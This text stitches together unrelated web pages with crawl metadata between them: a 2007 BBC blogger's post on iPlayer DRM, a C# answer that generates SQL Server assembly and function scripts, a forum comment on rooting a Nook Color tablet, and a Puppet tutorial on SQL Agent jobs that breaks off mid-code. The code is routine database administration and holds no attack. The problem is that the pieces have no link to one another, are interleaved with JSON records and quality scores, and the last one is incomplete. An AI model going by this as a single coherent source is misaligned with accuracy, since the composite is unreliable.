Some of my non-supporter, seem to think its just the geek world which are upset about this. Well we have to remember its the geeks which are fixing and installing stuff on their parents computer come Christmas time, geeks that are willing to test drive a beta service/product like iplayer and finally geeks who lead the way into the mainstream market. So thats a sure reminder not to just write off this stuff to geeks. However what also prompted my other post was this video by Robert Llwellyn. Its a rant and his own view but its interesting to note, like I have done up till now, Robert bundles the iplayer into one. Yes and that is the vision but has also wound people up royally. So to explicit here, when I say iplayer is a mess and I'm sure when most people say they hate the iplayer, its not because of the system behind it or the interface or the delivery system or even the quality of the video. No its all down to the DRM. The DRM is so attached to the iplayer, and because of it over 2mins of Roberts rant was about DRM in iplayer.
The iplayer team have worked damm hard on a good solid product/service and are hearing lots of negative comments about the iplayer when actually people mean the DRM. However, because the whole service is robustly built, I'm sure it will out live its current form and who knows whats around the corner?
Right to address, if I should be talking on my blog about this stuff. This seems to rub a lot of people up the wrong way., some seem to think I might be bigging myself up at the expense of the BBC. Well I'm not and I'm not going to let you guys bring me down. I love working at the BBC and love my job, its ground breaking and I go places and speak to people most never get a chance. So, I want to make meaning and I believe the BBC is capable of moving into the next curve with its unique funding model. Unlike Jason, I think its unique public funding model will be an advantage over the advertising or subscription models. Oh at the same time can I make it clear I was disagreeing with what Jason was blogging about. So why write anything at all? Its the Cluetrain effect. Things have changed. Take a look at the difference between the Newswatch and the editors blog. Its not so much about the layout but more the conversation or voice. So rather than talk any more, here's a few Cluetrains which sum up what I'm getting at.
#3 – Conversations among human beings sound human. They are conducted in a human voice.
#10 – As a result, markets are getting smarter, more informed, more organized. Participation in a networked market changes people fundamentally.
#12 – There are no secrets. The networked market knows more than companies do about their own products. And whether the news is good or bad, they tell everyone.
#14 – Corporations do not speak in the same voice as these new networked conversations. To their intended online audiences, companies sound hollow, flat, literally inhuman.
#34 – To speak with a human voice, companies must share the concerns of their communities.
Some good examples, Wikipedia entry on the iplayer, Imp's ultimate review of the iplayer, E-petition and Currybet's first 14 days.
So at the end of day, iPlayer is just the start (and in beta), over the next few months you will see a BBC which will silence its critics and launch a range of services which will impress. Transparency and conversation is important and it will take time for everyone to adjust but with time… BBC 2.0 it will happen. Look at projects like Backstage, Innovation Labs, TV Backstage, BBC Blogs, etc… to get a feel of the changes starting to happen.
Comments [Comments]
Trackbacks [0]
Author: Ianforrester
Senior firestarter at BBC R&D, emergent technology expert and serial social geek event organiser. Can be found at [email protected], [email protected] and [email protected] | {
"url": "https://cubicgarden.com/2007/10/07/bbc-co-uk-2-0-why-it-will-happen-2/",
"source_domain": "cubicgarden.com",
"snapshot_id": "CC-MAIN-2024-22",
"warc_metadata": {
"Content-Length": "142345",
"Content-Type": "application/http; msgtype=response",
"WARC-Block-Digest": "sha1:2OVMLGSGY6IXZENDIFUOUTH4HCOAQRWP",
"WARC-Concurrent-To": "<urn:uuid:a6410952-7803-4241-8aa6-f4ce36ab12c0>",
"WARC-Date": "2024-05-28T09:52:10Z",
"WARC-IP-Address": "104.199.118.119",
"WARC-Identified-Payload-Type": "text/html",
"WARC-Payload-Digest": "sha1:WCDEKLSB2H7GOCUZMUISPNM2AA6B4RYL",
"WARC-Record-ID": "<urn:uuid:2c914693-0834-4104-8f0a-42cc103dfe2e>",
"WARC-Target-URI": "https://cubicgarden.com/2007/10/07/bbc-co-uk-2-0-why-it-will-happen-2/",
"WARC-Truncated": null,
"WARC-Type": "response",
"WARC-Warcinfo-ID": "<urn:uuid:119c1b6d-dca5-48d2-b5d6-2c267962cdbc>"
},
"warc_info": "isPartOf: CC-MAIN-2024-22\r\npublisher: Common Crawl\r\ndescription: Wide crawl of the web for May 2024\r\noperator: Common Crawl Admin ([email protected])\r\nhostname: ip-10-67-67-123\r\nsoftware: Apache Nutch 1.19 (modified, https://github.com/commoncrawl/nutch/)\r\nrobots: checked via crawler-commons 1.5-SNAPSHOT (https://github.com/crawler-commons/crawler-commons)\r\nformat: WARC File Format 1.1\r\nconformsTo: https://iipc.github.io/warc-specifications/specifications/warc-format/warc-1.1/"
} | {
"line_start_idx": [
0,
34,
35,
42,
43,
742,
743,
1837,
1838,
2882,
2883,
3185,
3186,
4213,
4214,
4302,
4447,
4608,
4781,
4782,
4873,
4874,
5005,
5006,
5451,
5452,
5472,
5487,
5488,
5509,
5510
],
"line_end_idx": [
34,
35,
42,
43,
742,
743,
1837,
1838,
2882,
2883,
3185,
3186,
4213,
4214,
4302,
4447,
4608,
4781,
4782,
4873,
4874,
5005,
5006,
5451,
5452,
5472,
5487,
5488,
5509,
5510,
5699
]
} | {
"red_pajama_v2": {
"ccnet_original_length": 5699,
"ccnet_original_nlines": 30,
"rps_doc_curly_bracket": 0,
"rps_doc_ldnoobw_words": 0,
"rps_doc_lorem_ipsum": 0,
"rps_doc_stop_word_fraction": 0.46887966990470886,
"rps_doc_ut1_blacklist": 0,
"rps_doc_frac_all_caps_words": 0.043983399868011475,
"rps_doc_frac_lines_end_with_ellipsis": 0,
"rps_doc_frac_no_alph_words": 0.1369294673204422,
"rps_doc_frac_unique_words": 0.41853660345077515,
"rps_doc_mean_word_length": 4.401951313018799,
"rps_doc_num_sentences": 67,
"rps_doc_symbol_to_word_ratio": 0.005809130147099495,
"rps_doc_unigram_entropy": 5.434131622314453,
"rps_doc_word_count": 1025,
"rps_doc_frac_chars_dupe_10grams": 0,
"rps_doc_frac_chars_dupe_5grams": 0,
"rps_doc_frac_chars_dupe_6grams": 0,
"rps_doc_frac_chars_dupe_7grams": 0,
"rps_doc_frac_chars_dupe_8grams": 0,
"rps_doc_frac_chars_dupe_9grams": 0,
"rps_doc_frac_chars_top_2gram": 0.019946809858083725,
"rps_doc_frac_chars_top_3gram": 0.005319150164723396,
"rps_doc_frac_chars_top_4gram": 0,
"rps_doc_books_importance": -438.85968017578125,
"rps_doc_books_importance_length_correction": -438.85968017578125,
"rps_doc_openwebtext_importance": -152.69586181640625,
"rps_doc_openwebtext_importance_length_correction": -152.69586181640625,
"rps_doc_wikipedia_importance": -202.50613403320312,
"rps_doc_wikipedia_importance_length_correction": -202.50613403320312
},
"fasttext": {
"dclm": 0.13521724939346313,
"english": 0.975706160068512,
"fineweb_edu_approx": 1.4875234365463257,
"eai_general_math": 0.14004701375961304,
"eai_open_web_math": 0.13519376516342163,
"eai_web_code": 0.06390994787216187
}
} | {
"free_decimal_correspondence": {
"primary": {
"code": "004.67",
"labels": {
"level_1": "General works, books and libraries, information sciences",
"level_2": "",
"level_3": "Computers and Computer science"
}
},
"secondary": {
"code": "384.3",
"labels": {
"level_1": "Social sciences",
"level_2": "Commerce and Communication and traffic",
"level_3": "Telecommunication"
}
}
},
"bloom_cognitive_process": {
"primary": {
"code": "5",
"label": "Evaluate"
},
"secondary": {
"code": "2",
"label": "Understand"
}
},
"bloom_knowledge_domain": {
"primary": {
"code": "2",
"label": "Conceptual"
},
"secondary": {
"code": "3",
"label": "Procedural"
}
},
"document_type_v1": {
"primary": {
"code": "9",
"label": "Personal/Misc"
},
"secondary": {
"code": "-1",
"label": "Abstain"
}
},
"extraction_artifacts": {
"primary": {
"code": "0",
"label": "No Artifacts"
},
"secondary": {
"code": "-1",
"label": "Abstain"
}
},
"missing_content": {
"primary": {
"code": "0",
"label": "No missing content"
},
"secondary": {
"code": "-1",
"label": "Abstain"
}
},
"document_type_v2": {
"primary": {
"code": "16",
"label": "Personal Blog"
},
"secondary": {
"code": "10",
"label": "Knowledge Article"
}
},
"reasoning_depth": {
"primary": {
"code": "3",
"label": "Intermediate Reasoning"
},
"secondary": {
"code": "2",
"label": "Basic Reasoning"
}
},
"technical_correctness": {
"primary": {
"code": "6",
"label": "Not Applicable/Indeterminate"
},
"secondary": {
"code": "3",
"label": "Mostly Correct"
}
},
"education_level": {
"primary": {
"code": "1",
"label": "General Audience"
},
"secondary": {
"code": "2",
"label": "High School Level"
}
}
} | e3c4dd7183f5f028f56d5a7988cc68c4 |
6,718,816,380,504,207,000 | psadac psadac - 7 months ago 51
C# Question
Create sql server functions from an assembly dll automatically
I have several functions in an assembly dll named
UserFunctions.dll
, for example :
public static partial class VariousFunctions
{
[SqlFunction(IsDeterministic = true, IsPrecise = true)]
public static SqlBoolean RegexMatch(SqlString expression, SqlString pattern)
{
...
}
[SqlFunction(IsDeterministic = true, IsPrecise = true)]
public static SqlInt32 WorkingDays(SqlDateTime startDateTime, SqlDateTime endDateTime)
{
...
}
[SqlFunction(IsDeterministic = true, IsPrecise = true)]
public static SqlString getVersion()
{
...
}
...
}
And I want to generate the sql script with a c# function, to create or update automatically all functions with attribute
SqlFunction
contained in this dll.
This sql script should look like this :
-- Delete all functions from assembly 'UserFunctions'
DECLARE @sql NVARCHAR(MAX)
SET @sql = 'DROP FUNCTION ' + STUFF(
(
SELECT
', ' + QUOTENAME(assembly_method)
FROM
sys.assembly_modules
WHERE
assembly_id IN (SELECT assembly_id FROM sys.assemblies WHERE name = 'UserFunctions')
FOR XML PATH('')
), 1, 1, '')
-- SELECT @sql
IF @sql IS NOT NULL EXEC sp_executesql @sql
-- Create all functions from assembly 'UserFunctions'
CREATE FUNCTION RegexMatch(@expression NVARCHAR(MAX), @pattern NVARCHAR(MAX)) RETURNS BIT
AS EXTERNAL NAME UserFunctions.VariousFunctions.RegexMatch;
GO
CREATE FUNCTION WorkingDays(@startDateTime DATETIME, @endDateTime DATETIME) RETURNS INTEGER
AS EXTERNAL NAME UserFunctions.VariousFunctions.WorkingDays;
GO
CREATE FUNCTION getVersion() RETURNS VARCHAR(MAX)
AS EXTERNAL NAME UserFunctions.VariousFunctions.getVersion;
GO
The first part is very simple, but for the second part this is probably possible using the reflection methods of the classes Type, MethodInfo and ParameterInfo.
Someone has already done this ?
Answer
I have tested and debugged it :
static void Main(string[] args)
{
Assembly clrAssembly = Assembly.LoadFrom(@"Path\to\your\assembly.dll");
string sql = CreateFunctionsFromAssembly(clrAssembly, permissionSetType.UNSAFE);
File.WriteAllText(sqlFile, sql);
}
/// <summary>
/// permissions available for an assembly dll in sql server
/// </summary>
public enum permissionSetType { SAFE, EXTERNAL_ACCESS, UNSAFE };
/// <summary>
/// generate sql from an assembly dll with all functions with attribute SqlFunction
/// </summary>
/// <param name="clrAssembly">assembly object</param>
/// <param name="permissionSet">sql server permission set</param>
/// <returns>sql script</returns>
public static string CreateFunctionsFromAssembly(Assembly clrAssembly, permissionSetType permissionSet)
{
const string sqlTemplate = @"
-- Delete all functions from assembly '{0}'
DECLARE @sql NVARCHAR(MAX)
SET @sql = 'DROP FUNCTION ' + STUFF(
(
SELECT
', ' + assembly_method
FROM
sys.assembly_modules
WHERE
assembly_id IN (SELECT assembly_id FROM sys.assemblies WHERE name = '{0}')
FOR XML PATH('')
), 1, 1, '')
IF @sql IS NOT NULL EXEC sp_executesql @sql
GO
-- Delete existing assembly '{0}' if necessary
IF EXISTS(SELECT 1 FROM sys.assemblies WHERE name = '{0}')
DROP ASSEMBLY {0};
GO
{1}
GO
-- Create all functions from assembly '{0}'
";
string assemblyName = clrAssembly.GetName().Name;
StringBuilder sql = new StringBuilder();
sql.AppendFormat(sqlTemplate, assemblyName, CreateSqlFromAssemblyDll(clrAssembly, permissionSet));
foreach (Type classInfo in clrAssembly.GetTypes())
{
foreach (MethodInfo methodInfo in classInfo.GetMethods(BindingFlags.Static | BindingFlags.Public | BindingFlags.DeclaredOnly))
{
if (Attribute.IsDefined(methodInfo, typeof(SqlFunctionAttribute)))
{
StringBuilder methodParameters = new StringBuilder();
bool firstParameter = true;
foreach (ParameterInfo paramInfo in methodInfo.GetParameters())
{
if (firstParameter)
firstParameter = false;
else
methodParameters.Append(", ");
methodParameters.AppendFormat(@"@{0} {1}", paramInfo.Name, ConvertClrTypeToSql(paramInfo.ParameterType));
}
string returnType = ConvertClrTypeToSql(methodInfo.ReturnParameter.ParameterType);
string methodName = methodInfo.Name;
string className = (classInfo.Namespace == null ? "" : classInfo.Namespace + ".") + classInfo.Name;
string externalName = string.Format(@"{0}.[{1}].{2}", assemblyName, className, methodName);
sql.AppendFormat(@"CREATE FUNCTION {0}({1}) RETURNS {2} AS EXTERNAL NAME {3};"
, methodName, methodParameters, returnType, externalName)
.Append("\nGO\n");
}
}
}
return sql.ToString();
}
/// <summary>
/// Generate sql script to create assembly
/// </summary>
/// <param name="clrAssembly"></param>
/// <param name="permissionSet">sql server permission set</param>
/// <returns></returns>
public static string CreateSqlFromAssemblyDll(Assembly clrAssembly, permissionSetType permissionSet)
{
const string sqlTemplate = @"
-- Create assembly '{0}' from dll
CREATE ASSEMBLY [{0}]
AUTHORIZATION [dbo]
FROM 0x{2}
WITH PERMISSION_SET = {1};
";
StringBuilder bytes = new StringBuilder();
using (FileStream dll = File.OpenRead(clrAssembly.Location))
{
int @byte;
while ((@byte = dll.ReadByte()) >= 0)
bytes.AppendFormat("{0:X2}", @byte);
}
string sql = String.Format(sqlTemplate, clrAssembly.GetName().Name, permissionSet, bytes);
return sql;
}
/// <summary>
/// Convert clr type to sql type
/// </summary>
/// <param name="clrType">clr type</param>
/// <returns>sql type</returns>
private static string ConvertClrTypeToSql(Type clrType)
{
switch (clrType.Name)
{
case "SqlString":
return "NVARCHAR(MAX)";
case "SqlDateTime":
return "DATETIME";
case "SqlInt16":
return "SMALLINT";
case "SqlInt32":
return "INTEGER";
case "SqlInt64":
return "BIGINT";
case "SqlBoolean":
return "BIT";
case "SqlMoney":
return "MONEY";
case "SqlSingle":
return "REAL";
case "SqlDouble":
return "DOUBLE";
case "SqlDecimal":
return "DECIMAL(18,0)";
case "SqlBinary":
return "VARBINARY(MAX)";
default:
throw new ArgumentOutOfRangeException(clrType.Name + " is not a valid sql type.");
}
} | {
"url": "https://codedump.io/share/ElKvPbYkbUng/1/create-sql-server-functions-from-an-assembly-dll-automatically",
"source_domain": "codedump.io",
"snapshot_id": "crawl=CC-MAIN-2017-30",
"warc_metadata": {
"Content-Length": "46334",
"Content-Type": "application/http; msgtype=response",
"WARC-Block-Digest": "sha1:6M2XCTFVA7NWC7YLYMDODPXR37DAHD6J",
"WARC-Concurrent-To": "<urn:uuid:54500570-d29d-48ab-8a06-9842abf6e4f8>",
"WARC-Date": "2017-07-23T03:19:46Z",
"WARC-IP-Address": "84.22.103.185",
"WARC-Identified-Payload-Type": "text/html",
"WARC-Payload-Digest": "sha1:AA755WB5A63SBQS6ATRLELK4EGXQTLKY",
"WARC-Record-ID": "<urn:uuid:79cef26a-8860-4d14-b91c-efb2d2dc0a5c>",
"WARC-Target-URI": "https://codedump.io/share/ElKvPbYkbUng/1/create-sql-server-functions-from-an-assembly-dll-automatically",
"WARC-Truncated": null,
"WARC-Type": "response",
"WARC-Warcinfo-ID": "<urn:uuid:0b4bd138-34cf-4d89-8b7c-69816e0365e8>"
},
"warc_info": "robots: classic\r\nhostname: ip-10-145-172-78.ec2.internal\r\nsoftware: Nutch 1.6 (CC)\r\nisPartOf: CC-MAIN-2017-30\r\noperator: Common Crawl Admin\r\ndescription: Wide crawl of the web for July 2017\r\npublisher: Common Crawl\r\nformat: WARC File Format 1.0\r\nconformsTo: http://bibnum.bnf.fr/WARC/WARC_ISO_28500_version1_latestdraft.pdf"
} | {
"line_start_idx": [
0,
32,
44,
45,
108,
109,
159,
160,
178,
194,
195,
240,
242,
298,
375,
377,
381,
383,
384,
440,
527,
529,
533,
535,
536,
592,
629,
631,
635,
637,
638,
642,
644,
645,
646,
767,
779,
802,
842,
843,
897,
924,
961,
963,
970,
1004,
1009,
1030,
1036,
1121,
1138,
1151,
1166,
1210,
1211,
1212,
1266,
1356,
1416,
1419,
1511,
1572,
1575,
1625,
1685,
1688,
1689,
1690,
1851,
1883,
1884,
1891,
1892,
1924,
1925,
1957,
1959,
2033,
2116,
2151,
2153,
2154,
2155,
2169,
2229,
2244,
2309,
2310,
2311,
2325,
2409,
2424,
2478,
2544,
2578,
2682,
2684,
2718,
2768,
2801,
2844,
2854,
2873,
2913,
2930,
2967,
2985,
3076,
3105,
3126,
3176,
3185,
3186,
3239,
3304,
3331,
3340,
3341,
3351,
3360,
3361,
3411,
3418,
3472,
3473,
3518,
3621,
3622,
3677,
3683,
3818,
3828,
3907,
3921,
3991,
4035,
4115,
4133,
4173,
4222,
4247,
4302,
4428,
4446,
4545,
4598,
4714,
4822,
4917,
5007,
5045,
5059,
5069,
5075,
5102,
5104,
5105,
5106,
5120,
5163,
5178,
5217,
5283,
5307,
5408,
5410,
5444,
5484,
5513,
5541,
5560,
5595,
5602,
5603,
5650,
5715,
5721,
5740,
5786,
5835,
5841,
5936,
5937,
5953,
5955,
5956,
5957,
5971,
6004,
6019,
6062,
6094,
6150,
6152,
6178,
6184,
6210,
6246,
6274,
6305,
6330,
6361,
6386,
6416,
6441,
6470,
6497,
6523,
6548,
6576,
6602,
6629,
6655,
6684,
6711,
6747,
6773,
6810,
6827,
6922,
6928
],
"line_end_idx": [
32,
44,
45,
108,
109,
159,
160,
178,
194,
195,
240,
242,
298,
375,
377,
381,
383,
384,
440,
527,
529,
533,
535,
536,
592,
629,
631,
635,
637,
638,
642,
644,
645,
646,
767,
779,
802,
842,
843,
897,
924,
961,
963,
970,
1004,
1009,
1030,
1036,
1121,
1138,
1151,
1166,
1210,
1211,
1212,
1266,
1356,
1416,
1419,
1511,
1572,
1575,
1625,
1685,
1688,
1689,
1690,
1851,
1883,
1884,
1891,
1892,
1924,
1925,
1957,
1959,
2033,
2116,
2151,
2153,
2154,
2155,
2169,
2229,
2244,
2309,
2310,
2311,
2325,
2409,
2424,
2478,
2544,
2578,
2682,
2684,
2718,
2768,
2801,
2844,
2854,
2873,
2913,
2930,
2967,
2985,
3076,
3105,
3126,
3176,
3185,
3186,
3239,
3304,
3331,
3340,
3341,
3351,
3360,
3361,
3411,
3418,
3472,
3473,
3518,
3621,
3622,
3677,
3683,
3818,
3828,
3907,
3921,
3991,
4035,
4115,
4133,
4173,
4222,
4247,
4302,
4428,
4446,
4545,
4598,
4714,
4822,
4917,
5007,
5045,
5059,
5069,
5075,
5102,
5104,
5105,
5106,
5120,
5163,
5178,
5217,
5283,
5307,
5408,
5410,
5444,
5484,
5513,
5541,
5560,
5595,
5602,
5603,
5650,
5715,
5721,
5740,
5786,
5835,
5841,
5936,
5937,
5953,
5955,
5956,
5957,
5971,
6004,
6019,
6062,
6094,
6150,
6152,
6178,
6184,
6210,
6246,
6274,
6305,
6330,
6361,
6386,
6416,
6441,
6470,
6497,
6523,
6548,
6576,
6602,
6629,
6655,
6684,
6711,
6747,
6773,
6810,
6827,
6922,
6928,
6929
]
} | {
"red_pajama_v2": {
"ccnet_original_length": 6929,
"ccnet_original_nlines": 220,
"rps_doc_curly_bracket": 0.010391109623014927,
"rps_doc_ldnoobw_words": 0,
"rps_doc_lorem_ipsum": 0,
"rps_doc_stop_word_fraction": 0.0807136818766594,
"rps_doc_ut1_blacklist": 0,
"rps_doc_frac_all_caps_words": 0.10280373692512512,
"rps_doc_frac_lines_end_with_ellipsis": 0.018099550157785416,
"rps_doc_frac_no_alph_words": 0.44095155596733093,
"rps_doc_frac_unique_words": 0.42059338092803955,
"rps_doc_mean_word_length": 7.856893539428711,
"rps_doc_num_sentences": 60,
"rps_doc_symbol_to_word_ratio": 0.005097710061818361,
"rps_doc_unigram_entropy": 5.086703777313232,
"rps_doc_word_count": 573,
"rps_doc_frac_chars_dupe_10grams": 0.03598400950431824,
"rps_doc_frac_chars_dupe_5grams": 0.21968014538288116,
"rps_doc_frac_chars_dupe_6grams": 0.13749444484710693,
"rps_doc_frac_chars_dupe_7grams": 0.07285650819540024,
"rps_doc_frac_chars_dupe_8grams": 0.07285650819540024,
"rps_doc_frac_chars_dupe_9grams": 0.058196358382701874,
"rps_doc_frac_chars_top_2gram": 0.015992889180779457,
"rps_doc_frac_chars_top_3gram": 0.011550419963896275,
"rps_doc_frac_chars_top_4gram": 0.021323859691619873,
"rps_doc_books_importance": -468.9610595703125,
"rps_doc_books_importance_length_correction": -468.9610595703125,
"rps_doc_openwebtext_importance": -267.709716796875,
"rps_doc_openwebtext_importance_length_correction": -267.709716796875,
"rps_doc_wikipedia_importance": -168.7635040283203,
"rps_doc_wikipedia_importance_length_correction": -168.7635040283203
},
"fasttext": {
"dclm": 0.8975400328636169,
"english": 0.33320149779319763,
"fineweb_edu_approx": 2.285825490951538,
"eai_general_math": 0.4296465516090393,
"eai_open_web_math": 0.05090736970305443,
"eai_web_code": 0.860822319984436
}
} | {
"free_decimal_correspondence": {
"primary": {
"code": "005.1",
"labels": {
"level_1": "General works, books and libraries, information sciences",
"level_2": "",
"level_3": "Computer programming"
}
},
"secondary": {
"code": "005.452",
"labels": {
"level_1": "General works, books and libraries, information sciences",
"level_2": "",
"level_3": "Computer programming"
}
}
},
"bloom_cognitive_process": {
"primary": {
"code": "3",
"label": "Apply"
},
"secondary": {
"code": "2",
"label": "Understand"
}
},
"bloom_knowledge_domain": {
"primary": {
"code": "3",
"label": "Procedural"
},
"secondary": {
"code": "2",
"label": "Conceptual"
}
},
"document_type_v1": {
"primary": {
"code": "4",
"label": "Code/Software"
},
"secondary": {
"code": "3",
"label": "Reference/Encyclopedic/Educational"
}
},
"extraction_artifacts": {
"primary": {
"code": "0",
"label": "No Artifacts"
},
"secondary": {
"code": "-1",
"label": "Abstain"
}
},
"missing_content": {
"primary": {
"code": "0",
"label": "No missing content"
},
"secondary": {
"code": "-1",
"label": "Abstain"
}
},
"document_type_v2": {
"primary": {
"code": "8",
"label": "Documentation"
},
"secondary": {
"code": "23",
"label": "Tutorial"
}
},
"reasoning_depth": {
"primary": {
"code": "3",
"label": "Intermediate Reasoning"
},
"secondary": {
"code": "4",
"label": "Advanced Reasoning"
}
},
"technical_correctness": {
"primary": {
"code": "4",
"label": "Highly Correct"
},
"secondary": {
"code": "5",
"label": "Exceptionally Correct"
}
},
"education_level": {
"primary": {
"code": "3",
"label": "Undergraduate Level"
},
"secondary": {
"code": "4",
"label": "Graduate/Expert Level"
}
}
} | e3c4dd7183f5f028f56d5a7988cc68c4 |
-1,597,215,441,417,937,400 | View Single Post
#15
Old 11-22-2012, 01:32 AM
Buckeyefan 1 Buckeyefan 1 is offline
ob-la-di, ob-la-da
• Nov 2007
• 14,335
• 6,064 Buckeyefan 1 has a reputation beyond repute
• 21
This is a tinker type tablet, not a buy it out of the box and use it. So unless you are wanting to throw in a mSD card, and root it, it's not as useful as something that comes with ICS preloaded. A N2A card from Amazon will set you back $20 for the old 2.3 version - not 4.0. Rooting this is not rocket science, but there is a learning curve to doing it. My kids love our NC for apps, and I enjoy it for news. But there's no camera. I'd probably recommend the Uniden at Big Lots for the same price, as it's already pre-loaded with ICS and has a camera, plus you can return it if you don't like it. The other big issue with the NC is the charger. The end will eventually bend, and render the cord useless. If it loosens the female inside the NC, you could damage the NC. It's a horrible design. Be careful when charging.
| {
"url": "http://slickdeals.net/forums/showpost.php?p=55094386&postcount=15",
"source_domain": "slickdeals.net",
"snapshot_id": "crawl=CC-MAIN-2014-35",
"warc_metadata": {
"Content-Length": "17696",
"Content-Type": "application/http; msgtype=response",
"WARC-Block-Digest": "sha1:RWECSDD3TELG4JPLNBXOWSWAOKXPKGOM",
"WARC-Concurrent-To": "<urn:uuid:a9e55656-ea5e-4919-91f5-6d1d2dc2df23>",
"WARC-Date": "2014-08-23T21:23:08Z",
"WARC-IP-Address": "199.182.48.98",
"WARC-Identified-Payload-Type": null,
"WARC-Payload-Digest": "sha1:XDRSDXADAHYSL5ATRDVOTDOS64GT6U4C",
"WARC-Record-ID": "<urn:uuid:bbbd5f09-3af2-443f-a699-497b7bfb33c0>",
"WARC-Target-URI": "http://slickdeals.net/forums/showpost.php?p=55094386&postcount=15",
"WARC-Truncated": "length",
"WARC-Type": "response",
"WARC-Warcinfo-ID": "<urn:uuid:9d6c6c88-f38f-462a-9599-df0d83973ab1>"
},
"warc_info": "robots: classic\r\nhostname: ip-10-180-136-8.ec2.internal\r\nsoftware: Nutch 1.6 (CC)/CC WarcExport 1.0\r\nisPartOf: CC-MAIN-2014-35\r\noperator: CommonCrawl Admin\r\ndescription: Wide crawl of the web with URLs provided by Blekko for August 2014\r\npublisher: CommonCrawl\r\nformat: WARC File Format 1.0\r\nconformsTo: http://bibnum.bnf.fr/WARC/WARC_ISO_28500_version1_latestdraft.pdf"
} | {
"line_start_idx": [
0,
17,
21,
46,
83,
102,
115,
126,
180,
187,
1007,
1009
],
"line_end_idx": [
17,
21,
46,
83,
102,
115,
126,
180,
187,
1007,
1009,
1010
]
} | {
"red_pajama_v2": {
"ccnet_original_length": 1010,
"ccnet_original_nlines": 11,
"rps_doc_curly_bracket": 0,
"rps_doc_ldnoobw_words": 0,
"rps_doc_lorem_ipsum": 0,
"rps_doc_stop_word_fraction": 0.38372093439102173,
"rps_doc_ut1_blacklist": 0,
"rps_doc_frac_all_caps_words": 0.042635660618543625,
"rps_doc_frac_lines_end_with_ellipsis": 0,
"rps_doc_frac_no_alph_words": 0.26356589794158936,
"rps_doc_frac_unique_words": 0.6377550959587097,
"rps_doc_mean_word_length": 3.867347002029419,
"rps_doc_num_sentences": 14,
"rps_doc_symbol_to_word_ratio": 0.003875969909131527,
"rps_doc_unigram_entropy": 4.550936222076416,
"rps_doc_word_count": 196,
"rps_doc_frac_chars_dupe_10grams": 0,
"rps_doc_frac_chars_dupe_5grams": 0,
"rps_doc_frac_chars_dupe_6grams": 0,
"rps_doc_frac_chars_dupe_7grams": 0,
"rps_doc_frac_chars_dupe_8grams": 0,
"rps_doc_frac_chars_dupe_9grams": 0,
"rps_doc_frac_chars_top_2gram": 0.04353561997413635,
"rps_doc_frac_chars_top_3gram": 0,
"rps_doc_frac_chars_top_4gram": 0,
"rps_doc_books_importance": -95.25367736816406,
"rps_doc_books_importance_length_correction": -95.25367736816406,
"rps_doc_openwebtext_importance": -53.7437629699707,
"rps_doc_openwebtext_importance_length_correction": -39.7888298034668,
"rps_doc_wikipedia_importance": -35.51056671142578,
"rps_doc_wikipedia_importance_length_correction": -35.51056671142578
},
"fasttext": {
"dclm": 0.05769091844558716,
"english": 0.9578921794891357,
"fineweb_edu_approx": 1.1337239742279053,
"eai_general_math": 0.10297132283449173,
"eai_open_web_math": 0.10932446271181107,
"eai_web_code": 0.03539377078413963
}
} | {
"free_decimal_correspondence": {
"primary": {
"code": "004.67",
"labels": {
"level_1": "General works, books and libraries, information sciences",
"level_2": "",
"level_3": "Computers and Computer science"
}
},
"secondary": {
"code": "004.16",
"labels": {
"level_1": "General works, books and libraries, information sciences",
"level_2": "",
"level_3": "Computers and Computer science"
}
}
},
"bloom_cognitive_process": {
"primary": {
"code": "5",
"label": "Evaluate"
},
"secondary": {
"code": "3",
"label": "Apply"
}
},
"bloom_knowledge_domain": {
"primary": {
"code": "3",
"label": "Procedural"
},
"secondary": {
"code": "2",
"label": "Conceptual"
}
},
"document_type_v1": {
"primary": {
"code": "5",
"label": "Social/Forum"
},
"secondary": {
"code": "-1",
"label": "Abstain"
}
},
"extraction_artifacts": {
"primary": {
"code": "3",
"label": "Irrelevant Content"
},
"secondary": {
"code": "0",
"label": "No Artifacts"
}
},
"missing_content": {
"primary": {
"code": "0",
"label": "No missing content"
},
"secondary": {
"code": "-1",
"label": "Abstain"
}
},
"document_type_v2": {
"primary": {
"code": "18",
"label": "Q&A Forum"
},
"secondary": {
"code": "24",
"label": "User Review"
}
},
"reasoning_depth": {
"primary": {
"code": "2",
"label": "Basic Reasoning"
},
"secondary": {
"code": "3",
"label": "Intermediate Reasoning"
}
},
"technical_correctness": {
"primary": {
"code": "3",
"label": "Mostly Correct"
},
"secondary": {
"code": "4",
"label": "Highly Correct"
}
},
"education_level": {
"primary": {
"code": "1",
"label": "General Audience"
},
"secondary": {
"code": "2",
"label": "High School Level"
}
}
} | e3c4dd7183f5f028f56d5a7988cc68c4 |
-1,028,011,029,222,981,200 | Adding SQL Server Agent Jobs using Puppet
I find Puppet Enterprise to be very useful for configuring our many SQL Servers. It does a nice job of setting up the SQL Instance and doing some base configuration. There were a few things I wanted to add that it didn’t do out of the box that I thought I’d share. One need I had was there was a set of specific SQL Agent jobs that I deployed out to our servers that I wanted Puppet to lay down for me. I was able to build a pseudo-resource using the PE sqlserver forge module and some T-SQL. I call it a pseudo-resource because it’s not a real resource in Puppet (with all the backing Ruby classes), but it behaves very much like a resource.
To do this, I needed the puppetlabs/sqlserver module and I had to create two files in my Puppet code repository.
NOTE: You must have Puppet Enterprise to use the puppetlabs/sqlserver module!
The first file I had to create was a T-SQL template that would generate the code needed to add the SQL Agent job. This template is not 100% fully-featured, and a lot more variables can be added to fully flesh out all of its options, but this is a very solid start. I named this file sql_agent_job.epp and dropped it in my “templates” folder. It looks like this:
<%- | String $name, String $description, String $notifyOperator = "", Array[Hash] $steps, Any $schedules = undef | -%>
BEGIN TRANSACTION
BEGIN TRY
DECLARE @ReturnCode INT
SELECT @ReturnCode = 0
IF NOT EXISTS (SELECT name FROM msdb.dbo.syscategories WHERE name=N'[Uncategorized (Local)]' AND category_class=1)
BEGIN
EXEC @ReturnCode = msdb.dbo.sp_add_category @class=N'JOB', @type=N'LOCAL', @name=N'[Uncategorized (Local)]';
IF (@@ERROR <> 0 OR @ReturnCode <> 0) GOTO QuitWithRollback
END;
This isn’t the complete file (see my link below for the entire thing), but it gives you the idea. The template gets called by the .pp class file, which is below.
The second file is the actual Puppet class (.pp extension). This is the file that implements the template and makes the whole thing “resource-like”. This file belongs in your “manifests” folder in your repository or module:
class sqlserver::sql_agent_job()
{
define sql_agent_job
(
String $sqlInstanceName,
String $description,
String $notifyOperator,
Array[Hash] $steps,
Any $schedules = undef
)
{
sqlserver_tsql { "${title}_${sqlInstanceName}_sql_agent_job" :
instance => $sqlInstanceName,
command => epp("sqlserver/sql_add_job.epp", {
name => $name,
description => $description,
